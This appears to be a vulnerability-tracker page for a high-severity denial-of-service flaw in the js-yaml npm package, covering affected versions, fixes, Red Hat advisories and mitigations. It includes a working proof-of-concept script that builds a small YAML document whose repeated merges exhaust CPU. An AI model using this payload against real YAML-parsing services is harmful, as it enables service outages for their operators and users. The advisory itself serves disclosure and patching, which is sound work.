js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sourcesGHSA-2883-xcg3-v3hh
HIGHFix: nodeca/js-yaml#797GHSA-2883-xcg3-v3hh is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in js-yaml. A fix is available for js-yaml — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2883-xcg3-v3hh.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-2883-xcg3-v3hh by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 390,400 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
js-yamlnpmDescription
Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
- <<: *arr # repeated K times
For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.
PoC
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)
Observed results:
| N | YAML size | Time |
|---|---|---|
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |
Impact
An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count each merge-source mapping as one budget unit, in addition to counting its keys.
Difference with v5
In v3 & v4, merge is enabled by default. So, the severity score is higher.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | js-yaml | ≥ 4.0.0&&< 4.3.2 | 4.3.2npm install js-yaml@4.3.2 |
| 📦npm | js-yaml | ≥ 3.0.0&&< 3.15.2 | 3.15.2npm install js-yaml@3.15.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for js-yaml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update js-yaml to 4.3.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2883-xcg3-v3hh is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an Important denial of service vulnerability in js-yaml, affecting applications that process untrusted YAML input. The flaw allows an attacker to craft a small YAML document that, when parsed, can lead to prolonged CPU consumption due to inefficient merge key processing, potentially exhausting system…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.6 for RHEL 9 | automation-platform-ui-0:2.6.14-1.el9ap | RHSA-2026:71113 |
| Network Observability (NETOBSERV) 1.12.3 | network-observability/network-observability-console-plugin-pf5-rhel9:1789978780 | RHSA-2026:70593 |
| Red Hat Advanced Cluster Security for Kubernetes 4.10 | advanced-cluster-security/rhacs-main-rhel8:1789411269 | RHSA-2026:67711 |
| Red Hat Advanced Cluster Security for Kubernetes 4.11 | advanced-cluster-security/rhacs-main-rhel9:1789411320 | RHSA-2026:67714 |
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1790254963 | RHSA-2026:72712 |
| Red Hat Ansible Automation Platform 2.2 | ansible-automation-platform/automation-portal:1790256405 | RHSA-2026:72722 |
| Red Hat Ansible Automation Platform 2.2 | ansible-automation-platform/bootc-automation-portal-rhel9:1791865660 | RHSA-2026:82151 |
| Red Hat Ansible Automation Platform 2.5 | ansible-automation-platform-25/lightspeed-rhel8:1789685837 | RHSA-2026:71210 |
Frequently Asked Questions
Is GHSA-2883-xcg3-v3hh in your dependencies?
Find it across npm, including transitive dependencies.